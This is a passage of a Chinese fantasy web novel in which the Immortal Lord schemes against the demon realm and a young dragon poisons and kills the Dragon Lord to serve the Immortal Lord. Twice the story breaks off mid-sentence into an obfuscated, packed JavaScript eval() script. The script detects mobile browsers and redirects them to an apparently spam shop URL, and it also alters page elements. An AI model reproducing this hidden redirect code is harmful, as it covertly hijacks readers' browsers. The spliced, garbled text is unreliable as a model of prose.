不行,不行,我不能死!我辛辛苦苦爬到这里,我得活下去—— 忽然之间,舒云眼前一亮—— 逃,他想到,我得逃! 36. 合谋 “大人……您还好吗?”至公道人小心翼翼的试探道,他跪在阶下,浑身肌肉暗暗紧绷,拂尘搭在臂弯间,隐于衣袖之下的手柄已经被他不动声色的攥紧了。 “不必紧张。” 梅若君态度宽和的笑笑,一挥手,姿态闲适,随意的往后一靠,眨眼间,那双魔气森森的血红色的竖瞳又变回一点漆黑的瞳仁了。 “我从未感觉如此好过。”他笑,抬起指尖给至公道人看—— 不久前,黎狩刚刚吞噬刑微雨成为第二任魔尊时,魔界撕裂严重,新旧俩皇实力交锋频繁。 仙尊本想趁此机会对魔界出兵,趁魔界内乱之机重创魔族,谁知那新任魔尊有些手段,反而借势暗算了胜券在握梅若君—— 仙尊自那一战之后便得了一种奇诡的病,无数荆条似的魔纹,从他的指尖诞生,并日渐向心脏蔓延,这荆条似的魔纹不仅抑制了梅若君的力量,而且一但仙尊想要强行使用力量,那些魔纹就会勒紧,甚至直接崩溃! 梅若君私下里几次尝试用神力冲破这种魔荆的封锁,反而将自己搞的伤痕累累,甚至双手十指都已经有了崩溃消散的迹象。 为了解决这奇怪的魔荆,梅若君不得不答应了黎狩的要求,对魔尊侵略妖界一事闭目缄口,无论魔尊干了什么,都全然默认,不予以追究。 但现在,至公道人凝神细看——仙尊双手如玉,那漆黑的魔荆和崩裂撕开的血口都消失不见了! 仙人无暇。 “恭喜大人顺利度过此劫!从此再不用和魔尊虚与委蛇了!”至公道人狂喜,立刻伏地行礼,贺道:“臣和魔族血亭君等人接触时已经打听清楚了,魔尊旧伤未愈,而大人现在重回巅峰,黎狩与您绝没有一战之力!” “仙族将士们随时为您准备着,只要大人一声令下……” 梅若君却冷淡的抬掌向前略微一推——那是一个噤声的手势。 “那怪病消磨了我很多力量,重回巅峰也是需要时间的,况且……黎狩那样的人,怎么可能老老实实将这般重要之物交予我?”仙尊冷笑一声,独属于他的化虚权柄霎时启动,运转于他的周身—— “化虚为实。” 随着仙尊一声低喝,一道道显化的丝线顿时突兀的出现,紧紧缠在梅若君的脖颈间,仿若只要仙尊有丝毫异动,就会被这些锐利的丝线一线封喉! 梅若君冷笑不止,“果然不老实。” “他估计是以为,我要以刑微雨的魔核为引为她重塑肉身,没想到我却是……”仙尊忽然止住了话头,神情蓦的冷淡了下来,半响,他以右手肘撑在桌上,指骨抵着眉心,又意味不明的低笑出声。 至公道人看不懂仙尊笑意从何而来,梅若君显然也没有给他解释的义务,于是他只能斟酌着尝试揣测道:“魔尊以为您要为刑微雨重塑肉身,重新挑起魔族新王旧王之争,于是提前给魔核上下了傀儡丝,没想到您却是用魔核来解毒了……” “魔核入体和您合二为一,那傀儡丝是否会对您有影响?”至公道人有些担忧,“大人,是否需要我找南宫悯回来?他对这些领域的研究比臣深入的多。” “我感觉的出来,这些傀儡丝来自血亭君。”梅若君挥挥手示意至公道人不必在意,“神使的一切都是神族赐予的,血亭君区区神使,他的算计对我而言不足为惧。” 只有神族可以杀死神族,这是天道法则。 至公道人清楚梅若君的意思。 神族天定,但神使却可以靠运气和实力拼一把,成为神使之后,就是天道承认的半神,等级甚至在仙族之上,除了同等级的神使,或者更高一级的神族,没有人可以对神使动手。 若是凡人想要对神使不利,天道会率先降下天谴。 同样的,神使只是半神,半神的算计也不会对神族生效。 “好了,妖界烛龙那边情况如何了?”梅若君指尖一点,那些原本紧紧缠着他脖颈的傀儡丝顿时不受控制的落于仙尊掌心,被他双指一捻,化为齑粉消散了。 “烛龙那里一切都很顺利。”至公道人略松了口气,将自己得到的消息娓娓道来,“螭龙和我们的联络依然稳定,一切都在按我们的计划推进。” “常妄对烛龙等龙岛小辈没有丝毫怀疑,目前毒素已顺利侵入常妄识海,只等您下令,随时可以让螭龙配合着制造幻象,杀死常妄。” “不够……光是杀死常妄,不够。” “我更希望可以凭此事,断绝其余强大的种族效忠妖皇的可能性。”一个模糊的计划逐渐出现在梅若君脑海里,“比如,大肆宣扬是妖皇杀了常妄,让五界万族认为妖皇郁柏是个残暴多疑的人之类的……” 仙尊微垂着眼,指尖规律的轻敲着桌面,陷入沉思,半响忽然想到了什么,问至公道人:“对了,凤凰是不是还在妖界?” “是,凤凰仙君接受了妖界神庭的请求,答应在妖皇成长起来之前保护妖界神庭,同时若魔族来犯,凤凰仙君会帮助妖族清理魔族入侵者。” 至公道人一边回答,一边下意识回首望向云层掩映之下,矗立在仙界第八重天雪原之巅的梧桐宫——那时凤凰仙界在仙界的领地。 “大人,弥随音和常妄同为神兽,亦不能为妖皇所用,我们是否要……” 凤凰仙君常年闭关,和至公道人并无交情可言,因此此时至公道人没什么犹豫的,直接暗示仙尊将已经偏向妖界的凤凰一起处理了。 “啧……凤凰这种神兽,杀又杀不死,不好处理干净。”梅若君眉头高高蹙起,“我因为魔荆缠身,对魔尊所作所为闭目缄口,凤凰受血脉影响,一生都在追求明君——他此去妖界久不归,到底是对我不满了。” 至公道人却少见的忤逆了仙尊的意思,摇头否认道:“大人,我倒是觉得凤凰仙君的性子根本择不到明主,这样的人就算一时效忠某位神族,也会时时犹豫着随时准备抽身撤离。” “这样的忠诚,不要也罢。” “何况,龙凤两族领地意识都极强,自古以来就代表着天命所归,向来在人界就有不共事一主的规矩,常妄已经在郁柏妖皇手下占据了重要位置,凤凰再效忠妖皇的概率,臣以为极小。” “大人若是信任臣,可将这事交给臣去处理——在下有信心让凤凰以为,郁柏妖皇就是杀死常妄的凶手。”至公道人缓缓停滞了脊骨,一脸肃然的跪在仙尊阶下。 “这样,我们对外可以说郁柏妖皇残暴,杀戮无度,对内则可以向弥随音证明妖皇也非明主,那时,凤凰自然乖乖回归仙界,重回您的掌控。” 至公道人说完,深深叩首,面上诚恳,一副等着仙尊定夺的模样,心底却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“卷云长老,请随我暂且出来等待。”有侍从一俯身,请卷云跟他出去,卷云有些迟疑,问道:“龙尊大人这是怎么了?我是四阶炼药师,是否需要我……” 话未说完,只见月色下一道银白的身影匆匆而来。 那是个银发金瞳的姑娘,眼角下几片延伸入鬓的细密龙鳞宣告着来者的身份——龙岛烛龙血系的小辈,冷千春。 冷千春来不及跟卷云行礼,匆匆一点头便一掀帘子进入了殿内,随即,龙尊咳嗽声渐渐低了下去。 冷千春是龙岛这一代小辈中年龄最大的长女,因为肖似常妄的银发金瞳,所以很得常妄偏爱,最为受宠。 “我未听说冷千春有炼药天赋啊,需不需要再去请炼药师?”卷云直觉不太对,但侍从显然对冷千春放心极了,微笑着摇摇头,“长老有所不知,龙尊从仙界回来后有些不适应妖族的灵气浓度和纯净度,是冷姑娘翻山越岭给龙尊大人找来了缓解不适的药草。” “况且冷姑娘和龙尊血脉相连,怎么也不可能害她曾祖父的吧?” 卷云听出了侍从话语下深藏的不耐烦,悻悻的摸了摸鼻子,识趣的也不再多留,拱手告退了。 “等春在野教主计划大成,等问情尊上重归妖界……”他在惨白的月色里回望帝宫,暗暗的在心底狠狠咒骂道:“等我成了迎问情尊上回归的一等功臣,我到要看看还有谁敢对我不敬!” 37. 撕裂一 春在野是问情三神使里公认的最狂热的妖皇拥趸。 私下曾有人腹诽,说若是哪一天问情下令要处死春在野,春在野绝对能毫不反抗的引颈受戮,死前还要细细列举自己的所有罪名广而告之——属于是我可以流血,但我的血不能污了问情的名声。 这般狂热无脑的做派其实被青丘内很多妖族看不起。 虽然人族对妖族进行了漫长而深切的磋磨,但妖族内部其实依然有一些传承不断,实力雄厚的世家大族存在,如以惊轶为代表的赤狐族,或者以海洋为天然屏障阻拦了人族的贪婪的鲛人族。 这些世家大族小心翼翼的隐于人界,尽量不与人族起任何冲突,利用妖族天生的漫长寿命蛰伏着等待时机,秉持着有幼崽就有希望的观点,全力培养下一代。 这些妖修对妖界的影响也很明显——伤害幼崽现在也是妖界最不能容忍的行为。 后来,问情振臂一呼,万千隐于暗处的妖修世家顿时揭竿而起,跟着妖祖解救同族,给人族傲慢的脸上撕开了一道血淋淋的口子,让人族再不敢理所当然的视自己为天地的主宰。 这些妖修世家培养出来的佼佼者,像惊轶,像喻未央,他们追随妖皇,钦慕妖皇,却永远保有一分审视在心,追随妖皇的同时不忘自己的世家,也不忘给自己增强实力。 因此问情陨落之后,喻未央会直接抛弃神庭长老的身份回归鲛人族,惊轶会在政庭和神庭之间肆意揽权,以求赤狐族妖界第一世家的地位不变。 但这些人里显然不包括妖皇狂热粉春在野。 春在野是完全的草根出身,他是问情亲手从人族手里救下的妖奴,天地孕育的灵化幼崽没有世家可言,他亦不在乎什么实力——在他看来,自己并不重要,他只要问情永远强大就好了。 他只要烈阳永远高悬。 问情在时,他是替妖祖镇守后方最坚固的盾,开辟了妖界后,问情要著书立说,她曾说,自己的理想是要全天下的妖族都有一套适合自己的修炼功法。 春在野欣然领命,配合亦清妖后,成为妖皇手下最顺手的俩杆笔,研究出了一直沿用至今的妖修基础功法,给天下妖修拓宽了原本窄而又窄的修仙路。 再后来,他甚至愿意为了问情一点没头没尾,玄而又玄的疑惑,一头扎进从没有妖族触及过的神族领域,放弃妖界成立初期最容易拉拢势力的二十年,放弃增强自己的实力,做好了余生都为了问情尊上摸索这漫漫黑暗长路的准备的。 那时,春在野心里没有一点前路渺茫,清苦钻研的不满,他满心满眼都是兴奋——终于!他想,他终于也要成为照亮问情尊上前路的火把了! 可现在,烈阳骤然崩陨,春在野只觉得心已经随着太阳的陨落碎裂成了无数片。 虽然因为春在野十几年闭门不出潜心钻研,学宫被逐渐排除出了青丘的权力核心圈,但学宫位置是极好的,位于青丘中心偏东南方向,前面挨着帝宫,后面是几条繁华的长街,左右则是青丘百姓居住的一片片院落。 ——明眼人都看得出来,若问情没有离去,她是有心将学宫打造成和三司,赤琉璃近卫军一样的全新权力枢纽的。 但漫漫时间长河,最不缺的就是“若是”二字。 春在野,这面问情时代,得妖皇数次盛赞的,妖界最坚固的盾,也在大起大落之后变成了反手刺向妖界的,最锋利的矛。 学宫偏僻处有一间孤零零的木屋,年久失修,院门已经摇摇欲坠,在青丘料峭的冬风中发出轻微的吱呀声。 延伸向这处院子的石子路已经被杂草覆盖,除了中心零星散落的几块鹅卵石,谁也不能证明这里本有一条路的存在。 太阳早早落下,月光却始终在夜幕之上稳定的播散着清辉,杂草的阴影摇曳之间,仿佛有什么早已埋葬的正在破土而出。 月色都照不到的阴影里,一道黑影推开摇摇欲坠的木门,抬步跨过门槛进入院内,可他的身影却没有出现在破败的院落里,而是暗芒一闪,来到了一片白光柔和的空间里。 “卷云长老,最后的神血丹,还有一些剩余的神血,都在这里了。” 黑影有些惊讶于自己没有出现在祭坛,目光巡视一圈落在了中央的卷云身上,恭敬上前两步行礼,将一手臂长的玉匣递到了他的眼前。 “长老,春在野大人不是召我们去第五洲祭坛吗?这里是……?”黑影犹豫片刻,还是问道。 “这是春在野教主的研究成果之一,是当年问情尊上还在时,教主将空间权柄融入阵法,研究出的可以短暂脱离问情尊上独立存在的空间。”卷云显得心情很好的样子,笑盈盈的一边看从第四洲得到的丹方,一边解答。 “教主一定投入了大量的时间,心血和精力吧?”黑影缓缓掀开遮蔽身影用的灵器斗篷,露出了一张像画上去的一样标准的美人面。 “我记得脱离了神族后,空间能量就不可抑制的会一直处于消散状态,需要时时补充灵气,时时修补阵法才能维持,而且,这种短暂的随身空间最多只能维持一个月。”黑影——情化妖族,画妖浮荣语气怜惜,“不知道教主付出了多大的代价,才将这个随身空间维持了三年之久呢?” “没想到能在这里看到问情尊上遗物,你们拜圣教,倒真是令我意外了。”浮荣眼角微垂,姿态柔和的抚摸过臂弯里的玉匣,神情悲悯宛如俯瞰众生眼角垂泪的神像。 卷云未置一词,只是静静听浮荣说话,情化妖族比起妖族,其实更像是“异人”。 随着最后一道暗芒闪过,面如死灰的舒云也木着脸进入了此方空间,缩在最角落神色不明的仰视着自己的兄长,安静的听卷云说话。 见人到齐了,卷云核对神血丹的数量,依次分发给众人。 “诸位都是拜圣教内阁成员,消息灵通,诸位可知第四洲,第三洲和第七洲都爆发了疫情的事情?”卷云望着下首二十几人神色各异的脸,抛了抛手里写着丹方的卷轴。 “诸位,教主本来的计划,是继续积攒信仰之力,等郁柏尊上对神女动手时,用神女的神血和我们手里的信仰之力完成对问情尊上的召唤仪式——” “但就在刚刚,我们发现神女已经不可控了!” 卷云的声音骤然高昂,他本就是乌鸫血脉,有一副适合歌唱,也适合演讲的好嗓子。此时厉声之下,竟让素来看不起这个兄长的舒云也看呆了眼。 “卷云长老何出此言?”下首有人提出疑惑,“神女不是被神庭打压的不敢出头了吗?” 卷云冷笑着向他们展开了卷轴—— “预防法,检疫法,还有这样详细的根治法……这是第四洲的三阶炼 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卷云无比满意内阁成员的表现,振臂高喝道:“为了问情尊上,为了拜圣教,为了我们自己——我们必须在神女成长起来之前——先下手为强!” “你不怕吗,兄长?” 随着内阁成员一个个告辞前往第五洲,舒云木愣愣的僵着脸,一步一挪的挪到了卷云身后。 “没什么好怕的,舒云。”卷云笑笑,将他的那一份神血丹塞进他的掌心,见他捧着丹药像捧着炭火似的颤抖不止,哑然失笑,自下而上用掌心覆住他的手背,不容置疑的帮他握紧了手。 “卷云,我与你不一样,你跟着春在野教主,说到底是因为嫉妒——你是怕我服用神血丹后实力晋升太快,抢了你无烬炎第一天才之名。”卷云眼底含笑,像在说一个从来不在意的人一般轻松。 舒云顿时破防了,一把攥住兄长的衣领将他狠狠拽到面前,怒吼着发泄自己的恐惧:“为什么!为什么又是这副姿态!” “你从小就哪点都比不上我!”舒云通红的眼死死瞪着卷云,“天赋不如我,长辈喜欢我远胜于喜欢你,甚至到了青丘之后,你也不如我会做官!你只是个远离政庭的学宫长老,但我却是炼药师公会的二把手,未来,未来有机会成为三司之一的!” “对,你和白水边交情匪浅,等日后白水边晋升,你就是炼药师公会一把手,只要不出大错,未来至少是主事之一,说不定,你确实能成为第三洲出身的第一位三司首席呢?” 卷云神情冷冷,“你现在要我恭喜你吗?” “不……不是的!”舒云惨叫一声抱着头瘫倒在地,止不住的干呕起来,“那是神女,神女!浑身流着金血的神女!你们所有人,为什么都表现得像要去杀一只虫子一样轻松?!” “我们不可能成功的,我们会被神女清理干净的,那个怪物,你没看过她撕开侍从的嘴往里面灌神血时的样子……你不懂,不懂神族是什么!” 卷云懒得再跟这个从小就暗自跟自己比较的幼弟废话了,厌恶的后退两步,给自己兜头罩上隐蔽身形和灵气的斗篷。 “是你不懂,舒云,你从来不懂为何要获得力量,也不懂因何而运用力量。”他一只脚已经踏进传送阵了,却忽然心生不忍,回头最后注视了蜷在地上的舒云一眼。 “回去吧,满脑子嫉妒的幼稚的孩子,不配出现在这里,玷污了拜圣教。” 38. 撕裂二 妖皇帝宫内,烛龙血系小辈冷千春捧着一碗温度适中的温热汤药,目光担忧,动作体贴而仔细,正缓缓的,一调羹一调羹的给龙尊喂药。 “……千春,把窗子打开。” 常妄咳嗽声渐渐止住了,剧烈的咳嗽让他的太阳穴一跳一跳的胀痛,额前更是胀痛难忍,只觉得耳膜充血,满耳朵都是血流奔涌一样的噪声。 他有意识的延长呼吸,缓解胸口沉闷的压抑——前几日一碗药下去就缓解的胸闷气短之症今日倒是丝毫没有缓解的迹象。 “曾祖父,这个房间的灵气浓度我调整过,是最接近仙界的,现在若是开窗,这药就白喝了。”冷千春见他不愿再喝,也不强求,哄小孩一样端来了几样缓解汤药苦味的小零嘴,摆在龙尊面前任他挑选。 胸闷气短虽然难受,却不是不能忍受,常妄自诩龙岛的庇护者,到底是不愿在小辈面前太狼狈的,见到那些哄小孩的蜜饯啊饴糖啊,顿时哑然失笑,顺着她的意捻起一块蜜饯扔进嘴里。 “烛龙血系几代子嗣都是雄性独苗,居然能养出你这样贴心的女儿?” “母亲教的好。”冷千春也温柔的跟着笑,“我是长女,偶尔会帮着母亲照顾小辈,有些弟弟妹妹出生时体弱,龙岛育嗣处调配的药又只注重药效,苦的难以下咽,我要拿饴糖哄着,他们才愿意喝。” 龙尊下意识蹙眉,“有龙血的孩子怎么会体弱?听你所言,这样的幼崽愈发多了?都是哪些系的?” 没等冷千春,常妄便自顾自的叹息一声,理所当然道:“肯定是隐系吧,隐系幼崽天赋都不高,难堪大用。” 冷千春闻言低眉顺目的垂眸,像忽然对帝宫青玉地砖的花纹起了浓厚兴趣一样,一言不发。 常妄这才想起来——冷千春也是隐系出身。 “……千春这些日子也辛苦了,想要什么奖励吗?”龙族尴尬极了,一时间连自身的不适都忘了,起身摸了摸烛龙小辈光华辉辉的一头银发,生硬的岔开话题道:“这几代小辈里,你最肖我,你想要什么,我没有不应的。” 冷千春于是缓缓抬眸,她明明刚成年不久,一双眼却满是不符合她这个年龄的静寂之气。 常妄总觉得这孩子哪里都好,有天赋,肯吃苦,还贴心,就是有时思虑太重显得老气沉沉,不像是因实力强悍向来肆意横行的龙族血脉。 “千春只有一个请求。” “千春有一个一直想不明白的问题,曾祖父,这个问题再想不明白,千春就要疯魔了。” 冷千春捧着空碗站在他面前,忽然缓缓绽放出一个笑脸来,她眉眼弯弯的盯着龙尊,属于龙族的竖瞳宛如尖利的倒刺,一下子刺进了常妄血肉之间,拔不出也忽视不了,膈应的厉害。 龙尊突然又想开窗通风了。 但冷千春没有给他回寰的余地,直接开口问道—— “天下龙族血脉皆出于您——龙尊大人,而您又将天下的龙族血脉皆聚于龙岛。” “龙族是妖界水域第一大族,龙岛是青丘之下妖界的第一大洲,龙族的强悍和富庶是足以养活所有幼崽的……毕竟龙族强悍,越强悍的种族子嗣越是艰难,龙岛的子嗣其实不算多。” “您曾说过:四仙兽中,我们龙族是最重子嗣的存在,烛九阴懒散,凤凰和白泽则一心求道,我们龙族素来看不起那些虚头巴脑的东西——子嗣就是我们时间的刻度。” 冷千春越说越快,向来静寂的眼底猝然烧起一把烈火!直直烧穿了常妄一直苦苦维持的脸面和太平—— “您说:一代,两代,三代——漫漫长河,虽然龙族子嗣艰难,能为龙族诞下龙血幼崽的妖族也不多,但只要一直绵延,一直传承,血脉不断,总有儿孙满堂,儿女绕膝的时候……” “我们龙岛出身的幼崽,在内要团结一致,对外要互相扶持——这就是龙岛强大的根源。” 年幼的烛龙像初初长成的新王,大逆不道的以绝对的挑衅姿态,死死盯着旧王的眼睛,一字一顿问道:“既然如此,曾祖父,你又为何要将龙族小辈分成四系?” “这就是千春的问题——为何带领龙族离开仙界,为何将龙族划分四系?曾祖父,你能给我一个答案的。对不对?” 常妄骤然后退两步,心头压抑的厉害,什么也顾不得了,一把推开了窗子,让冷风灌进房间,灌进他的肺腑。 他下意识抬眸望向漆黑天幕上孤悬的一轮皓月,只觉得眼前不能聚焦,月亮融在白光里,像要化开似的,在他模糊的视线里到处流淌。 “……你,你在怨我?” 龙族想要绵延子嗣,就得找外族通婚,而和外族通婚又会稀释龙血,这都是不可避免的。 经过爷爷和父亲两代人通婚,到了冷千春这一代,小辈身上能有四分之一的龙血,都能算是万众瞩目的明日之星了。 四系划分法就是在这种情况下被常妄推出的。 龙尊将自他之后的所有龙族都分为四系——血脉浓度高,诞生是即是龙形的,称为“晟系”,龙岛资源倾注其身,晟系幼崽将被所有人保护,大力培养,地位只在龙尊之下。 而血脉浓度不够,出生时非龙形的幼崽,则被称为“隐系”。 隐系幼崽虽能得到资源,却远远不如晟系幼崽得到的丰富。 但被归为隐系的幼崽也并非此生无望了,他们还有几次机会——妖族成长期经脉骨血都会发生翻天覆地的变化,一些隐性的能力和血脉若是刺激得当,就会有很大的几率在成长期被激发出来。 因此,龙岛将这些在成长期完成了血脉突破,成功拥有了龙形的隐系幼崽冠以全新的称谓——霄系。 冷千春目前就属于霄系。 而出生不是龙形,成长期结束也未能拥有龙形的幼崽,则被打入“尘系”,被龙岛勒令一到成年就要离开龙岛。 “给幼崽划分等级这件事,是我办的太粗糙,太想当然了……”冷风一吹,常妄清醒了不少,他嗓子又开始细细密密的冒出痒意,被他低低咳嗽几声压下。 “可那时龙族刚刚离开仙界,我也有我的考量……” “您还记得我的母亲吗?”冷千春条件反射一样上前两步,机械性的从已经冷透了,见底了的药碗里舀出一调羹冷药,递到常妄面前。 常妄皱眉,只觉得头痛的愈发厉害,一张口想斥责她的逾越,却一口血猛地呕到了调羹上。染了冷千春满手。 冷千春指尖动都不动,年幼烛龙一双金瞳被血染得灼亮,声音平稳,连短暂的停顿和颤抖都没有,仿若一切都在她的预料之中。 “曾祖父,我的母亲叫云青月,上一辈螭龙系里天赋最差的一位,四系划分法一出来,一辈子没有化过龙的她早早被打进了尘系,不日即将被逐出龙岛。” “这药……这药!你居然给我下了毒!?”常妄终于意识到了什么,磅礴的灵气化为暴怒的海啸兜头砸向冷千春! “为了能留下,她服用密药,跟龙岛保证自己一定能在一年内化龙——但她早已成年,错过了幼崽期和成长期的双重机会,为了刺激血脉,她生吞炼体丹,泡在兽血里,让兽血激发龙族的凶性以刺激龙血……” “但她最后还是失败了,把自己搞的不人不鬼,四不像一样的死去,狼狈极了……明明她是那么柔软的一个人,喜爱幼崽,云朵一样的柔软,冲每个幼崽微笑,被她照顾过的幼崽甚至愿意乖乖喝药——这个本领她到死我都没有学会,真是没用。” “对了,这份药里的部分药材,就是她研究出来的用途哦。”冷千春更想笑了,“想不到吧?你最看不起的,化龙无望的尘系,却有常人难以企及的炼药天赋——可惜,除了化龙,她再看不到自己身上其他的可能性了。” 冷千春抬眼,微笑着凝视着暴怒的常妄,门口,侍立殿外的侍卫此时竟然全都不见了,一年龄比冷千春还小一些的少女施施然推门入内,挥手便镇压了常妄的反抗。 “这不可能!”常妄目眦欲裂,他忽然想到了那一轮月亮,那一轮轮廓模糊,仿若融化在白光里的月亮—— “仙尊……化虚,是化虚权柄!”急火攻心之下,常妄心脉剧痛,又是一口血呕出! “曾祖父,你知道么,我前段时间得知,仙界还有一支龙族血脉,在仙尊的帮助下,没有听您的调令,选择留在了仙界。” 冷千春木着脸,神态冰冷的继续给他喂药,也不管调羹里的是药还是他自己的血,她只是机械性的重复着这个动作。 “我拿到了他们的血脉数据……你猜怎么着,这几百年,他们没有诞生一只尘系幼崽,甚至隐系幼崽都少有。” “仙族告诉我,龙族是神兽,仙兽,只有仙界这样的地方才有资格孕养龙族的血脉。” “曾祖父,我拿你的令牌打开了龙岛血库……发现仙尊所言皆实——龙族继续待在妖界,只会被妖族同化,一代代稀释龙血,直到我们从神兽降格成仙兽,妖兽——甚至变成血脉驳杂的野兽!” “为了龙岛的未来,请您去死吧。” “荒唐!荒唐!” 常妄苟延残喘的撑起一口力气,怒斥道:“你信仙尊也不信我吗!妖界乃是天命……天命所在之处,这里才有容纳龙族的资格!” “天命……是天命叫龙岛所有人在血脉里苦苦挣扎的么?!是天命将龙岛变成般畸形的模样的吗——是你!是你龙尊!”冷千春骤然爆发,染血的药碗了调羹被她重重掷于地上砸了个粉碎! “龙族在哪里,天命就在哪里!”她一双金瞳亮的吓人,灼灼目光凝在常妄身上,常妄这才发现,螭龙和烛龙混血的冷千春和他的眼睛并不一样。 冷千春一双眼灿若晚霞,无数色彩交织其中,金色只是占比较大罢了——自己的眼睛却是纯然的金色,浓郁,纯粹,最鲜亮的宝石一样无一丝杂色。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310251|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在再说这些有什么用呢? 常妄知道自己难逃一死了,仙尊已经将化虚权柄种进了他的识海。 龙尊和烛九阴都是肉身强悍,凤凰和白泽才更擅长精神力方向。 肉身被突破,常妄早已在不知不觉间惨败。 “我绝不让你带着龙族重回仙界,那样才是断绝了龙族的生机!”常妄眼神骤然一厉,妖丹忽然疯狂运转起来,不顾脑子里传来的搅碎识海一样的剧痛,眼看着是拼着自爆妖丹也要带走冷千春! 冷千春忽然一垂眸,露出了一点常妄最熟悉的笑来,她甚至抬手止住了门边少女掏法器的动作,撒娇一般笑问道:“曾祖父当真舍得吗?” “您不这样的话……一身祖龙之血回流龙岛,龙岛能多近百位可以化龙的幼崽。” 子嗣,诅咒一样的子嗣。 常妄怔愣的一瞬间,冷千春眼神霎时狠厉起来,化虚权柄骤然化为飓风席卷而过常妄的识海! 银发金瞳的龙尊闷哼一声,大睁着眼,眼瞳中璀璨的灿金色光芒却流星般消逝了。 他想说,冷千春你们一代从未出过妖界,你不知道仙族的手段——仙界,不是你有实力就可以出头的地方。 你不知道仙族的手段,你不知道,不知道…… 龙族,气数尽矣! “……仙尊,仙尊在看吗?”冷千春恍然半响,怔愣着久久不能回身,好半响,才低低的冲门边的云出岫发问:“仙尊可还满意……” “抽出祖龙骨吧,替换这一身驳杂的血脉后,你就是新一代龙尊。”云出岫微笑着冲她一颔首,“等我们这一代小辈消化了祖龙止血,仙尊就会为龙族打开直上仙界的通天门。” “等我们这一代成为在仙界展露头角的仙界新贵,龙族将在你我手里再次得到强盛!” 冷千春于是不再言语,木着脸继续他们早就计划好的一切。 “到底是妖兽,一身皮肉骨血都好用。”云出岫袖手旁观冷千春干活,忽然嘀咕了一句,冷千春动作一顿,抬眸意味不明的凝了她一眼,忽然问道:“你到底是谁?” “我就是云出岫啊,姐姐?”螭龙血系多是黑发黑眼,云出岫亦是黑发黑眼。 “云出岫的母亲云青石和我的母亲云青月是同胞姐妹,我和云出岫从小一起长大,不可能认错——你到底是谁?” 云出岫耸了耸肩,意思是不信就算,忽然浑身一僵,片刻后传话道:“仙尊说——等你到了仙界,我们会为你举行盛大,全新的封龙仪式。” “不需要仙族来封——云出岫,我知道你一直有和仙族沟通的能力——你告诉他们,是龙族选择了仙族,不是仙族施舍龙族以恩典!” 冷千春停下手里的动作,尝试着操控了一下已经成为傀儡的常妄,确认无误后,将他的神魂抽出,封于云出岫的阵盘。云出岫眉心光芒一闪,冷千春没看清那是什么,阵盘已经消失在原地,被送入了仙界。 “他已经摆脱妖兽身份,上仙界享福喽。”云出岫解决了一件大事似的长长伸了个懒腰。 “——龙族是仙兽,神兽,跟妖族厮混在一起,就像人族和猴子一起生活一样,妖族配不上生来强悍的龙族。”冷千春低低默念着仙尊的承诺和一些听不清的呓语,整个人竟然比傀儡常妄更像行尸走肉。 确定一切妥帖后,姐妹两召回侍卫,告诉他们谁也不要进去打扰龙尊,等明早她们来了再叫醒龙尊,让常妄大人好好休息。 “你最好保证一切顺利,别让我抓到任何把柄。” “姐姐何故迁怒我?”云出岫轻笑,“从头到尾,我就起了个传话筒的作用——这个计划不是你自己一手策划的吗?” “龙尊代替鲛人族长跟随郁柏尊上前往仙界,所有人都知道,龙尊是下一任神使的候选人——杀龙尊一事若被郁柏尊上知晓,我们都难逃一死。” 冷千春没有看她,目不斜视的踏着夜色走在帝宫宫道上:“我不知你一个仙族是如何幻化出妖身的,但我们已经是一条鱼钩上的两尾鱼了。” “姐姐说什么呢?”云出岫唇角微笑弧度分毫未变,“我就是你的表妹啊,我当然是妖族啦。” “不会有妖族称呼自己的母族为妖兽。” 只有傲慢的仙族和人族会这样叫,妖族最厌恶的就是和兽族混为一谈,就像人看不起猴子,不愿和猴子混为一谈一样。 越是相像,越要区分。 云出岫笑容愈发扩大了,“那姐姐还是尽快习惯的好。”她掌心团扇轻摇,轻轻掩在唇上,遮住了那一点不得体的野心和得意——更像极了人族。 “毕竟……仙族都是这样称呼你们的啊。” 冷千春霎时瞪大眼睛,一双肖似龙尊的金瞳里是如出一辙的惊怒交加! “你到底是谁!” “我就是云出岫啊,姐姐,我只是配合你,做了你联络仙族的传话筒罢了。” 39. 共建未来 天光大亮。 晨曦如万千灿金色利剑,刺破久久徘徊于天际,迟迟不愿退去的夜色。 琉歌伸了个懒腰—— “就到这里吧……”她打了个哈欠,倒是没有困倦,只是有些疲惫积聚在眼底,毕竟两人研究了一夜神血,信仰和怨气之间的关联。 “怨气的解法已经找到,接下来只等丹方传播开来,妖族百姓的信仰汇聚我身,怨气就不是问题了。” 琉歌笑容忽然意味深长起来,明目张胆的歪头欣赏着弥随音的动作,看着他一圈一圈将绷带缠回手臂,把神血绘制的阵法和怨气一起遮掩在绷带下,还要将卷到手肘的衣袖层层放下,遮住绷带的痕迹。 “干嘛遮这么严实?”琉歌明知他从小学得就是人族的那一套君子理论,严于律己,执行严格到甚至有些迂腐死脑筋的地步,此时故意揶揄他,笑道:“看来与我有关系这件事,对师尊来说很见不得人咯?” “琉歌,”弥随音无奈,“在这纷乱世道,百姓,王侯,神明,各有各的难处。你身为妖皇,又是女子,只会比别人更辛苦。” “我……我说到底只是兽族,妖族不喜欢兽族,你跟我……”弥随音声音忽然低了下去,含糊的吞去那些迷惘的未来和纷乱的关联,“……我不愿成为别人看轻你的点。” “亦清妖后就是神兽青龙啊,是问情召唤出来的四圣兽之首,”琉歌耸耸肩,不以为意,“初代妖后就是神兽,是无可争议的兽族——按你的话来说,妖界已经开了一个坏头了哦。” 